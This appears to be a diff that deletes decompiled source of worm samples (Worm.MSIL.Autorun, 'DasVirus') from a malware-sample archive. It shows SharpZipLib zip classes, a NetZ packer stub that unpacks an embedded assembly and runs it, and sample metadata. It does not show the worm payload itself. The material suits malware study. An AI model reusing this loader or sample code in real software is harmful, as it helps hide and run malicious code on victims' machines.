int num7 = this.ReadLeShort();
int count = this.ReadLeShort();
int num8 = this.ReadLeShort();
long position4 = this.baseStream.Position;
this.baseStream.Position += 8L;
if (this.baseStream.Position - position4 != 8L)
throw new EndOfStreamException();
int num9 = this.ReadLeInt();
byte[] numArray2 = new byte[(int) checked ((uint) Math.Max(num7, num8))];
this.baseStream.Read(numArray2, 0, num7);
ZipEntry zipEntry = new ZipEntry(ZipConstants.ConvertToString(numArray2));
zipEntry.CompressionMethod = (CompressionMethod) num2;
zipEntry.Crc = (long) num4 & (long) uint.MaxValue;
zipEntry.Size = (long) num6 & (long) uint.MaxValue;
zipEntry.CompressedSize = (long) num5 & (long) uint.MaxValue;
zipEntry.DosTime = (uint) num3;
if (count > 0)
{
byte[] buffer = new byte[(int) checked ((uint) count)];
this.baseStream.Read(buffer, 0, count);
zipEntry.ExtraData = buffer;
}
if (num8 > 0)
{
this.baseStream.Read(numArray2, 0, num8);
zipEntry.Comment = ZipConstants.ConvertToString(numArray2);
}
zipEntry.zipFileIndex = index;
zipEntry.offset = num9;
this.entries[index] = zipEntry;
}
return;
}
}
throw new ZipException("central directory not found, probably not a zip file");
}
public void Close()
{
this.entries = (ZipEntry[]) null;
lock (this.baseStream)
this.baseStream.Close();
}
public IEnumerator GetEnumerator() => this.entries != null ? (IEnumerator) new ZipFile.ZipEntryEnumeration(this.entries) : throw new InvalidOperationException("ZipFile has closed");
private int GetEntryIndex(string name)
{
for (int entryIndex = 0; entryIndex < this.entries.Length; ++entryIndex)
{
if (name.Equals(this.entries[entryIndex].Name))
return entryIndex;
}
return -1;
}
public ZipEntry GetEntry(string name)
{
if (this.entries == null)
throw new InvalidOperationException("ZipFile has closed");
int entryIndex = this.GetEntryIndex(name);
return entryIndex >= 0 ? (ZipEntry) this.entries[entryIndex].Clone() : (ZipEntry) null;
}
private long CheckLocalHeader(ZipEntry entry)
{
lock (this.baseStream)
{
this.baseStream.Seek((long) entry.offset, SeekOrigin.Begin);
if (this.ReadLeInt() != 67324752)
throw new ZipException("Wrong Local header signature");
long position1 = this.baseStream.Position;
this.baseStream.Position += 4L;
if (this.baseStream.Position - position1 != 4L)
throw new EndOfStreamException();
if (entry.CompressionMethod != (CompressionMethod) this.ReadLeShort())
throw new ZipException("Compression method mismatch");
long position2 = this.baseStream.Position;
this.baseStream.Position += 16L;
if (this.baseStream.Position - position2 != 16L)
throw new EndOfStreamException();
if (entry.Name.Length != this.ReadLeShort())
throw new ZipException("file name length mismatch");
int num = entry.Name.Length + this.ReadLeShort();
return (long) (entry.offset + 30 + num);
}
}
public Stream GetInputStream(ZipEntry entry)
{
if (this.entries == null)
throw new InvalidOperationException("ZipFile has closed");
int index = entry.zipFileIndex;
if (index < 0 || index >= this.entries.Length || this.entries[index].Name != entry.Name)
{
index = this.GetEntryIndex(entry.Name);
if (index < 0)
throw new IndexOutOfRangeException();
}
long start = this.CheckLocalHeader(this.entries[index]);
CompressionMethod compressionMethod = this.entries[index].CompressionMethod;
Stream baseInputStream = (Stream) new ZipFile.PartialInputStream(this.baseStream, start, this.entries[index].CompressedSize);
switch (compressionMethod)
{
case CompressionMethod.Stored:
return baseInputStream;
case CompressionMethod.Deflated:
return (Stream) new InflaterInputStream(baseInputStream, new Inflater(true));
default:
throw new ZipException("Unknown compression method " + (object) compressionMethod);
}
}
public string ZipFileComment
{
get => this.comment;
set => this.comment = value;
}
public string Name => this.name;
public int Size
{
get
{
try
{
return this.entries.Length;
}
catch (Exception ex)
{
throw new InvalidOperationException("ZipFile has closed");
}
}
}
private class ZipEntryEnumeration : IEnumerator
{
private ZipEntry[] array;
private int ptr = -1;
public ZipEntryEnumeration(ZipEntry[] arr) => this.array = arr;
public object Current => (object) this.array[this.ptr];
public void Reset() => this.ptr = -1;
public bool MoveNext() => ++this.ptr < this.array.Length;
}
private class PartialInputStream : InflaterInputStream
{
private Stream baseStream;
private long filepos;
private long end;
public PartialInputStream(Stream baseStream, long start, long len)
: base(baseStream)
{
this.baseStream = baseStream;
this.filepos = start;
this.end = start + len;
}
public override int Available
{
get
{
long num = this.end - this.filepos;
return num > (long) int.MaxValue ? int.MaxValue : (int) num;
}
}
public override int ReadByte()
{
if (this.filepos == this.end)
return -1;
lock (this.baseStream)
{
this.baseStream.Seek(this.filepos++, SeekOrigin.Begin);
return this.baseStream.ReadByte();
}
}
public override int Read(byte[] b, int off, int len)
{
if ((long) len > this.end - this.filepos)
{
len = (int) (this.end - this.filepos);
if (len == 0)
return -1;
}
lock (this.baseStream)
{
this.baseStream.Seek(this.filepos, SeekOrigin.Begin);
int num = this.baseStream.Read(b, off, len);
if (num > 0)
this.filepos += (long) len;
return num;
}
}
public long SkipBytes(long amount)
{
if (amount < 0L)
throw new ArgumentOutOfRangeException();
if (amount > this.end - this.filepos)
amount = this.end - this.filepos;
this.filepos += amount;
return amount;
}
}
}
}

270
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/ZipOutputStream.cs
View File

@ -1,270 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.ZipOutputStream
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using ICSharpCode.SharpZipLib.Checksums;
using ICSharpCode.SharpZipLib.Zip.Compression;
using ICSharpCode.SharpZipLib.Zip.Compression.Streams;
using System;
using System.Collections;
using System.IO;
namespace ICSharpCode.SharpZipLib.Zip
{
public class ZipOutputStream : DeflaterOutputStream
{
private const int ZIP_STORED_VERSION = 10;
private const int ZIP_DEFLATED_VERSION = 20;
public const int STORED = 0;
public const int DEFLATED = 8;
private ArrayList entries = new ArrayList();
private Crc32 crc = new Crc32();
private ZipEntry curEntry = (ZipEntry) null;
private CompressionMethod curMethod;
private int size;
private int offset = 0;
private byte[] zipComment = new byte[0];
private int defaultMethod = 8;
private bool shouldWriteBack = false;
private long seekPos = -1;
public ZipOutputStream(Stream baseOutputStream)
: base(baseOutputStream, new Deflater(Deflater.DEFAULT_COMPRESSION, true))
{
}
public void SetComment(string comment)
{
byte[] array = ZipConstants.ConvertToArray(comment);
this.zipComment = array.Length <= (int) ushort.MaxValue ? array : throw new ArgumentException("Comment too long.");
}
public void SetMethod(int method) => this.defaultMethod = method == 0 || method == 8 ? method : throw new ArgumentException("Method not supported.");
public void SetLevel(int level) => this.def.SetLevel(level);
private void WriteLeShort(int value)
{
this.baseOutputStream.WriteByte((byte) value);
this.baseOutputStream.WriteByte((byte) (value >> 8));
}
private void WriteLeInt(int value)
{
this.WriteLeShort(value);
this.WriteLeShort(value >> 16);
}
private void WriteLeLong(long value)
{
this.WriteLeInt((int) value);
this.WriteLeInt((int) (value >> 32));
}
public void PutNextEntry(ZipEntry entry)
{
if (this.entries == null)
throw new InvalidOperationException("ZipOutputStream was finished");
CompressionMethod compressionMethod = entry.CompressionMethod;
int num = 0;
switch (compressionMethod)
{
case CompressionMethod.Stored:
if (entry.CompressedSize >= 0L)
{
if (entry.Size < 0L)
entry.Size = entry.CompressedSize;
else if (entry.Size != entry.CompressedSize)
throw new ZipException("Method STORED, but compressed size != size");
}
else
entry.CompressedSize = entry.Size;
if (entry.Size < 0L)
throw new ZipException("Method STORED, but size not set");
if (entry.Crc < 0L)
throw new ZipException("Method STORED, but crc not set");
break;
case CompressionMethod.Deflated:
if (entry.CompressedSize < 0L || entry.Size < 0L || entry.Crc < 0L)
{
num |= 8;
break;
}
break;
}
if (this.curEntry != null)
this.CloseEntry();
entry.flags = num;
entry.offset = this.offset;
entry.CompressionMethod = compressionMethod;
this.curMethod = compressionMethod;
this.WriteLeInt(67324752);
this.WriteLeShort(compressionMethod == CompressionMethod.Stored ? 10 : 20);
if ((num & 8) == 0)
{
this.WriteLeShort(num);
this.WriteLeShort((int) (byte) compressionMethod);
this.WriteLeInt((int) entry.DosTime);
this.WriteLeInt((int) entry.Crc);
this.WriteLeInt((int) entry.CompressedSize);
this.WriteLeInt((int) entry.Size);
}
else
{
if (this.baseOutputStream.CanSeek)
{
this.shouldWriteBack = true;
this.WriteLeShort((int) (short) (num & -9));
}
else
{
this.shouldWriteBack = false;
this.WriteLeShort(num);
}
this.WriteLeShort((int) (byte) compressionMethod);
this.WriteLeInt((int) entry.DosTime);
this.seekPos = this.baseOutputStream.Position;
this.WriteLeInt(0);
this.WriteLeInt(0);
this.WriteLeInt(0);
}
byte[] array = ZipConstants.ConvertToArray(entry.Name);
if (array.Length > (int) ushort.MaxValue)
throw new ZipException("Name too long.");
byte[] buffer = entry.ExtraData ?? new byte[0];
if (buffer.Length > (int) ushort.MaxValue)
throw new ZipException("Extra data too long.");
this.WriteLeShort(array.Length);
this.WriteLeShort(buffer.Length);
this.baseOutputStream.Write(array, 0, array.Length);
this.baseOutputStream.Write(buffer, 0, buffer.Length);
this.offset += 30 + array.Length + buffer.Length;
this.curEntry = entry;
this.crc.Reset();
if (compressionMethod == CompressionMethod.Deflated)
this.def.Reset();
this.size = 0;
}
public void CloseEntry()
{
if (this.curEntry == null)
throw new InvalidOperationException("No open entry");
if (this.curMethod == CompressionMethod.Deflated)
base.Finish();
int num = this.curMethod == CompressionMethod.Deflated ? this.def.TotalOut : this.size;
if (this.curEntry.Size < 0L)
this.curEntry.Size = (long) this.size;
else if (this.curEntry.Size != (long) this.size)
throw new ZipException("size was " + (object) this.size + ", but I expected " + (object) this.curEntry.Size);
if (this.curEntry.CompressedSize < 0L)
this.curEntry.CompressedSize = (long) num;
else if (this.curEntry.CompressedSize != (long) num)
throw new ZipException("compressed size was " + (object) num + ", but I expected " + (object) this.curEntry.CompressedSize);
if (this.curEntry.Crc < 0L)
this.curEntry.Crc = this.crc.Value;
else if (this.curEntry.Crc != this.crc.Value)
throw new ZipException("crc was " + (object) this.crc.Value + ", but I expected " + (object) this.curEntry.Crc);
this.offset += num;
if (this.curMethod == CompressionMethod.Deflated && (this.curEntry.flags & 8) != 0)
{
if (this.shouldWriteBack)
{
this.curEntry.flags &= -9;
long position = this.baseOutputStream.Position;
this.baseOutputStream.Seek(this.seekPos, SeekOrigin.Begin);
this.WriteLeInt((int) this.curEntry.Crc);
this.WriteLeInt((int) this.curEntry.CompressedSize);
this.WriteLeInt((int) this.curEntry.Size);
this.baseOutputStream.Seek(position, SeekOrigin.Begin);
this.shouldWriteBack = false;
}
else
{
this.WriteLeInt(134695760);
this.WriteLeInt((int) this.curEntry.Crc);
this.WriteLeInt((int) this.curEntry.CompressedSize);
this.WriteLeInt((int) this.curEntry.Size);
this.offset += 16;
}
}
this.entries.Add((object) this.curEntry);
this.curEntry = (ZipEntry) null;
}
public override void Write(byte[] b, int off, int len)
{
if (this.curEntry == null)
throw new InvalidOperationException("No open entry.");
switch (this.curMethod)
{
case CompressionMethod.Stored:
this.baseOutputStream.Write(b, off, len);
break;
case CompressionMethod.Deflated:
base.Write(b, off, len);
break;
}
this.crc.Update(b, off, len);
this.size += len;
}
public override void Finish()
{
if (this.entries == null)
return;
if (this.curEntry != null)
this.CloseEntry();
int num1 = 0;
int num2 = 0;
foreach (ZipEntry entry in this.entries)
{
CompressionMethod compressionMethod = entry.CompressionMethod;
this.WriteLeInt(33639248);
this.WriteLeShort(compressionMethod == CompressionMethod.Stored ? 10 : 20);
this.WriteLeShort(compressionMethod == CompressionMethod.Stored ? 10 : 20);
if (entry.IsCrypted)
entry.flags |= 1;
this.WriteLeShort(entry.flags);
this.WriteLeShort((int) (short) compressionMethod);
this.WriteLeInt((int) entry.DosTime);
this.WriteLeInt((int) entry.Crc);
this.WriteLeInt((int) entry.CompressedSize);
this.WriteLeInt((int) entry.Size);
byte[] array = ZipConstants.ConvertToArray(entry.Name);
if (array.Length > (int) ushort.MaxValue)
throw new ZipException("Name too long.");
byte[] buffer1 = entry.ExtraData ?? new byte[0];
string comment = entry.Comment;
byte[] buffer2 = comment != null ? ZipConstants.ConvertToArray(comment) : new byte[0];
if (buffer2.Length > (int) ushort.MaxValue)
throw new ZipException("Comment too long.");
this.WriteLeShort(array.Length);
this.WriteLeShort(buffer1.Length);
this.WriteLeShort(buffer2.Length);
this.WriteLeShort(0);
this.WriteLeShort(0);
this.WriteLeInt(0);
this.WriteLeInt(entry.offset);
this.baseOutputStream.Write(array, 0, array.Length);
this.baseOutputStream.Write(buffer1, 0, buffer1.Length);
this.baseOutputStream.Write(buffer2, 0, buffer2.Length);
++num1;
num2 += 46 + array.Length + buffer1.Length + buffer2.Length;
}
this.WriteLeInt(101010256);
this.WriteLeShort(0);
this.WriteLeShort(0);
this.WriteLeShort(num1);
this.WriteLeShort(num1);
this.WriteLeInt(num2);
this.WriteLeInt(this.offset);
this.WriteLeShort(this.zipComment.Length);
this.baseOutputStream.Write(this.zipComment, 0, this.zipComment.Length);
this.baseOutputStream.Flush();
this.entries = (ArrayList) null;
}
}
}

22
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/ZipException.cs
View File

@ -1,22 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.ZipException
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using System;
namespace ICSharpCode.SharpZipLib
{
public class ZipException : Exception
{
public ZipException()
{
}
public ZipException(string msg)
: base(msg)
{
}
}
}

113
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/_003CPrivateImplementationDetails_003E.cs
View File

@ -1,113 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: <PrivateImplementationDetails>
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using System.Runtime.InteropServices;
internal class \u003CPrivateImplementationDetails\u003E
{
internal static \u003CPrivateImplementationDetails\u003E.\u0024\u0024struct0x6000013\u002D1 \u0024\u0024method0x6000013\u002D1;
internal static \u003CPrivateImplementationDetails\u003E.\u0024\u0024struct0x600001b\u002D1 \u0024\u0024method0x600001b\u002D1;
internal static \u003CPrivateImplementationDetails\u003E.\u0024\u0024struct0x6000045\u002D1 \u0024\u0024method0x6000045\u002D1;
internal static \u003CPrivateImplementationDetails\u003E.\u0024\u0024struct0x6000072\u002D1 \u0024\u0024method0x6000072\u002D1;
internal static \u003CPrivateImplementationDetails\u003E.\u0024\u0024struct0x6000072\u002D2 \u0024\u0024method0x6000072\u002D2;
internal static \u003CPrivateImplementationDetails\u003E.\u0024\u0024struct0x6000072\u002D3 \u0024\u0024method0x6000072\u002D3;
internal static \u003CPrivateImplementationDetails\u003E.\u0024\u0024struct0x6000072\u002D4 \u0024\u0024method0x6000072\u002D4;
internal static \u003CPrivateImplementationDetails\u003E.\u0024\u0024struct0x6000072\u002D5 \u0024\u0024method0x6000072\u002D5;
internal static \u003CPrivateImplementationDetails\u003E.\u0024\u0024struct0x600008a\u002D1 \u0024\u0024method0x600008a\u002D1;
internal static \u003CPrivateImplementationDetails\u003E.\u0024\u0024struct0x600008a\u002D2 \u0024\u0024method0x600008a\u002D2;
internal static \u003CPrivateImplementationDetails\u003E.\u0024\u0024struct0x60000c5\u002D1 \u0024\u0024method0x60000c5\u002D1;
internal static \u003CPrivateImplementationDetails\u003E.\u0024\u0024struct0x60000c5\u002D2 \u0024\u0024method0x60000c5\u002D2;
internal static \u003CPrivateImplementationDetails\u003E.\u0024\u0024struct0x60000c5\u002D3 \u0024\u0024method0x60000c5\u002D3;
internal static \u003CPrivateImplementationDetails\u003E.\u0024\u0024struct0x60000c5\u002D4 \u0024\u0024method0x60000c5\u002D4;
internal static \u003CPrivateImplementationDetails\u003E.\u0024\u0024struct0x60000ca\u002D1 \u0024\u0024method0x60000ca\u002D1;
internal static \u003CPrivateImplementationDetails\u003E.\u0024\u0024struct0x60000ca\u002D2 \u0024\u0024method0x60000ca\u002D2;
internal static \u003CPrivateImplementationDetails\u003E.\u0024\u0024struct0x60000ca\u002D3 \u0024\u0024method0x60000ca\u002D3;
[StructLayout(LayoutKind.Explicit, Size = 1024, Pack = 1)]
private struct \u0024\u0024struct0x6000013\u002D1
{
}
[StructLayout(LayoutKind.Explicit, Size = 1024, Pack = 1)]
private struct \u0024\u0024struct0x600001b\u002D1
{
}
[StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)]
private struct \u0024\u0024struct0x6000045\u002D1
{
}
[StructLayout(LayoutKind.Explicit, Size = 40, Pack = 1)]
private struct \u0024\u0024struct0x6000072\u002D1
{
}
[StructLayout(LayoutKind.Explicit, Size = 40, Pack = 1)]
private struct \u0024\u0024struct0x6000072\u002D2
{
}
[StructLayout(LayoutKind.Explicit, Size = 40, Pack = 1)]
private struct \u0024\u0024struct0x6000072\u002D3
{
}
[StructLayout(LayoutKind.Explicit, Size = 40, Pack = 1)]
private struct \u0024\u0024struct0x6000072\u002D4
{
}
[StructLayout(LayoutKind.Explicit, Size = 40, Pack = 1)]
private struct \u0024\u0024struct0x6000072\u002D5
{
}
[StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)]
private struct \u0024\u0024struct0x600008a\u002D1
{
}
[StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)]
private struct \u0024\u0024struct0x600008a\u002D2
{
}
[StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
private struct \u0024\u0024struct0x60000c5\u002D1
{
}
[StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
private struct \u0024\u0024struct0x60000c5\u002D2
{
}
[StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)]
private struct \u0024\u0024struct0x60000c5\u002D3
{
}
[StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)]
private struct \u0024\u0024struct0x60000c5\u002D4
{
}
[StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)]
private struct \u0024\u0024struct0x60000ca\u002D1
{
}
[StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)]
private struct \u0024\u0024struct0x60000ca\u002D2
{
}
[StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)]
private struct \u0024\u0024struct0x60000ca\u002D3
{
}
}

6681
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/app.resx
View File

File diff suppressed because it is too large Load Diff

297
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/netz/NetzStarter.cs
View File

@ -1,297 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: netz.NetzStarter
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using ICSharpCode.SharpZipLib.Zip.Compression.Streams;
using System;
using System.Collections;
using System.Collections.Specialized;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Windows.Forms;
namespace netz
{
public class NetzStarter
{
private static readonly string Name = nameof (Name);
private static readonly string Culture = nameof (Culture);
private static readonly string NetzSuffix = "z.dll";
private static HybridDictionary cache = (HybridDictionary) null;
private static ResourceManager rm = (ResourceManager) null;
private static ArrayList xrRm = (ArrayList) null;
private static bool inResourceResolveFlag = false;
[STAThread]
public static int Main(string[] args)
{
try
{
NetzStarter.InitXR();
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(NetzStarter.NetzResolveEventHandler);
return NetzStarter.StartApp(args);
}
catch (Exception ex)
{
string str = " .NET Runtime: ";
NetzStarter.Log("#Error: " + ex.GetType().ToString() + Environment.NewLine + ex.Message + Environment.NewLine + ex.StackTrace + Environment.NewLine + (object) ex.InnerException + Environment.NewLine + "Using" + str + Environment.Version.ToString() + Environment.NewLine + "Created with" + str + "2.0.50727.3074");
return -1;
}
}
private static void InitXR()
{
try
{
string str1 = "file:\\";
string str2 = "-netz.resources";
string str3 = Path.GetDirectoryName(Assembly.GetEntryAssembly().Location);
if (str3.StartsWith(str1))
str3 = str3.Substring(str1.Length, str3.Length - str1.Length);
string[] files = Directory.GetFiles(str3, "*" + str2);
if (files == null || files.Length <= 0)
return;
NetzStarter.xrRm = new ArrayList();
for (int index = 0; index < files.Length; ++index)
{
string fileName = Path.GetFileName(files[index]);
ResourceManager basedResourceManager = ResourceManager.CreateFileBasedResourceManager(fileName.Substring(0, fileName.Length - str2.Length) + "-netz", str3, (System.Type) null);
if (basedResourceManager != null)
NetzStarter.xrRm.Add((object) basedResourceManager);
}
}
catch
{
}
}
public static int StartApp(string[] args) => NetzStarter.InvokeApp(NetzStarter.GetAssembly(NetzStarter.GetResource("A6C24BF5-3690-4982-887E-11E1B159B249") ?? throw new Exception("application data cannot be found")), args);
private static Assembly GetAssembly(byte[] data)
{
MemoryStream memoryStream = (MemoryStream) null;
try
{
memoryStream = NetzStarter.UnZip(data);
memoryStream.Seek(0L, SeekOrigin.Begin);
return Assembly.Load(memoryStream.ToArray());
}
finally
{
memoryStream?.Close();
}
}
private static int InvokeApp(Assembly assembly, string[] args)
{
MethodInfo entryPoint = assembly.EntryPoint;
ParameterInfo[] parameters1 = entryPoint.GetParameters();
object[] parameters2 = (object[]) null;
if (parameters1 != null && parameters1.Length > 0)
parameters2 = new object[1]{ (object) args };
object obj = entryPoint.Invoke((object) null, parameters2);
return obj == null || !(obj is int num) ? 0 : num;
}
private static Assembly NetzResolveEventHandler(object sender, ResolveEventArgs args) => NetzStarter.inResourceResolveFlag ? (Assembly) null : NetzStarter.GetAssemblyByName(args.Name);
private static byte[] GetResource(string id)
{
byte[] resource = (byte[]) null;
if (NetzStarter.rm == null)
NetzStarter.rm = new ResourceManager("app", Assembly.GetExecutingAssembly());
try
{
NetzStarter.inResourceResolveFlag = true;
string name = NetzStarter.MangleDllName(id);
if (resource == null && NetzStarter.xrRm != null)
{
for (int index = 0; index < NetzStarter.xrRm.Count; ++index)
{
try
{
ResourceManager resourceManager = (ResourceManager) NetzStarter.xrRm[index];
if (resourceManager != null)
resource = (byte[]) resourceManager.GetObject(name);
}
catch
{
}
if (resource != null)
break;
}
}
if (resource == null)
resource = (byte[]) NetzStarter.rm.GetObject(name);
}
finally
{
NetzStarter.inResourceResolveFlag = false;
}
return resource;
}
private static string MangleDllName(string dll) => dll.Replace(" ", "!1").Replace(",", "!2").Replace(".Resources", "!3").Replace(".resources", "!3").Replace("Culture", "!4");
private static MemoryStream UnZip(byte[] data)
{
if (data == null)
return (MemoryStream) null;
MemoryStream baseInputStream = (MemoryStream) null;
MemoryStream memoryStream = (MemoryStream) null;
InflaterInputStream inflaterInputStream = (InflaterInputStream) null;
try
{
baseInputStream = new MemoryStream(data);
memoryStream = new MemoryStream();
inflaterInputStream = new InflaterInputStream((Stream) baseInputStream);
byte[] buffer = new byte[data.Length];
while (true)
{
int count = inflaterInputStream.Read(buffer, 0, buffer.Length);
if (count > 0)
memoryStream.Write(buffer, 0, count);
else
break;
}
memoryStream.Flush();
memoryStream.Seek(0L, SeekOrigin.Begin);
}
finally
{
baseInputStream?.Close();
inflaterInputStream?.Close();
}
return memoryStream;
}
private static byte[] ResolveDLL(StringDictionary assName)
{
string path2 = assName[NetzStarter.Culture];
string str1 = assName[NetzStarter.Name];
bool flag = path2 == null || path2.ToLower().Equals("neutral");
AppDomain currentDomain = AppDomain.CurrentDomain;
StringCollection probePaths1 = new StringCollection();
string path1 = currentDomain.SetupInformation.ApplicationBase;
if (!flag)
path1 = Path.Combine(path1, path2);
probePaths1.Add(path1);
probePaths1.Add(Path.Combine(path1, str1));
byte[] numArray = NetzStarter.ProbeDirs(probePaths1, str1);
if (numArray != null)
return numArray;
StringCollection probePaths2 = new StringCollection();
string privateBinPath = currentDomain.SetupInformation.PrivateBinPath;
if (privateBinPath == null || privateBinPath.Trim().Length <= 0)
return (byte[]) null;
string str2 = privateBinPath;
char[] chArray1 = new char[1]{ Path.PathSeparator };
foreach (string str3 in str2.Split(chArray1))
{
char[] chArray2 = new char[3]
{
' ',
'\t',
Path.PathSeparator
};
string str4 = str3.Trim(chArray2);
if (!Path.IsPathRooted(str4))
str4 = Path.Combine(currentDomain.SetupInformation.ApplicationBase, str4);
if (!flag)
str4 = Path.Combine(str4, path2);
probePaths2.Add(str4);
probePaths2.Add(Path.Combine(str4, str1));
}
return NetzStarter.ProbeDirs(probePaths2, str1);
}
private static byte[] ProbeDirs(StringCollection probePaths, string assName)
{
for (int index = 0; index < probePaths.Count; ++index)
{
string str = Path.Combine(probePaths[index], assName + NetzStarter.NetzSuffix);
if (File.Exists(str))
return NetzStarter.ReadFile(str);
}
return (byte[]) null;
}
private static byte[] ReadFile(string file)
{
FileStream fileStream = (FileStream) null;
byte[] buffer = (byte[]) null;
try
{
fileStream = File.OpenRead(file);
buffer = new byte[fileStream.Length];
fileStream.Read(buffer, 0, buffer.Length);
fileStream.Flush();
}
finally
{
fileStream?.Close();
}
return buffer;
}
private static void Log(string s)
{
int num = (int) MessageBox.Show((IWin32Window) null, s, "Error");
}
private static Assembly GetAssemblyByName(string name)
{
if (name == null)
return (Assembly) null;
if (NetzStarter.cache == null)
NetzStarter.cache = new HybridDictionary();
name = name.Trim();
string lower = name.ToLower();
if (NetzStarter.cache[(object) lower] != null)
return (Assembly) NetzStarter.cache[(object) lower];
StringDictionary assName = NetzStarter.ParseAssName(name);
string str = assName[NetzStarter.Name];
if (str == null)
return (Assembly) null;
byte[] numArray = (byte[]) null;
byte[] data = (((NetzStarter.GetResource(name) ?? NetzStarter.GetResource(name.ToLower())) ?? NetzStarter.GetResource(str)) ?? NetzStarter.GetResource(str.ToLower())) ?? NetzStarter.GetResource(Path.GetFileNameWithoutExtension(str).ToLower());
if (data == null)
{
try
{
data = NetzStarter.ResolveDLL(assName);
}
catch
{
data = (byte[]) null;
}
}
if (data == null)
return (Assembly) null;
Assembly assembly = NetzStarter.GetAssembly(data);
numArray = (byte[]) null;
NetzStarter.cache[(object) lower] = (object) assembly;
return assembly;
}
private static StringDictionary ParseAssName(string fullAssName)
{
StringDictionary assName = new StringDictionary();
string str1 = fullAssName;
char[] chArray1 = new char[1]{ ',' };
foreach (string str2 in str1.Split(chArray1))
{
char[] chArray2 = new char[2]{ ' ', ',' };
string[] strArray = str2.Trim(chArray2).Split('=');
if (strArray.Length < 2)
assName.Add(NetzStarter.Name, strArray[0]);
else
assName.Add(strArray[0].Trim(' ', '='), strArray[1].Trim(' ', '='));
}
return assName;
}
}
}

13
MSIL/Worm/Win32/A/Worm.Win32.AutoRun.dfi-42e58a94d37b004c20933310233462c12ae3748211b12376559de6e22fc686c7/AssemblyInfo.cs
View File

@ -1,13 +0,0 @@
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyCopyright("Copyright © HACK-Design 2008")]
[assembly: ComVisible(false)]
[assembly: AssemblyProduct("DasVirus")]
[assembly: AssemblyCompany("HACK-Design")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyTitle("DasVirus Beta1")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyFileVersion("1.0.0.1")]
[assembly: Guid("b8e3b262-c1c6-4285-b226-e406b73e84b2")]
[assembly: AssemblyVersion("1.0.0.0")]

360
MSIL/Worm/Win32/A/Worm.Win32.AutoRun.dfi-42e58a94d37b004c20933310233462c12ae3748211b12376559de6e22fc686c7/Form1.cs
View File

@ -1,360 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: DasVirus.Form1
// Assembly: DasVirus, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 47CE34B1-9892-4F0C-B487-F6525F961DF9
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.AutoRun.dfi-42e58a94d37b004c20933310233462c12ae3748211b12376559de6e22fc686c7.exe
using DasVirus.My;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace DasVirus
{
[DesignerGenerated]
public class Form1 : Form
{
private static List<WeakReference> __ENCList = new List<WeakReference>();
private IContainer components;
[AccessedThroughProperty("Timer1")]
private Timer _Timer1;
[AccessedThroughProperty("Timer2")]
private Timer _Timer2;
[AccessedThroughProperty("Timer3")]
private Timer _Timer3;
[AccessedThroughProperty("Timer4")]
private Timer _Timer4;
private Point lPoint;
private Point nPoint;
private Rectangle Scr;
private Graphics Graph;
private bool OpStatus;
private int PID;
private Pen MyPen;
[SpecialName]
private int \u0024STATIC\u0024Timer1_Tick\u002420211C1261\u0024Ticks;
[DebuggerNonUserCode]
static Form1()
{
}
[DebuggerNonUserCode]
public Form1()
{
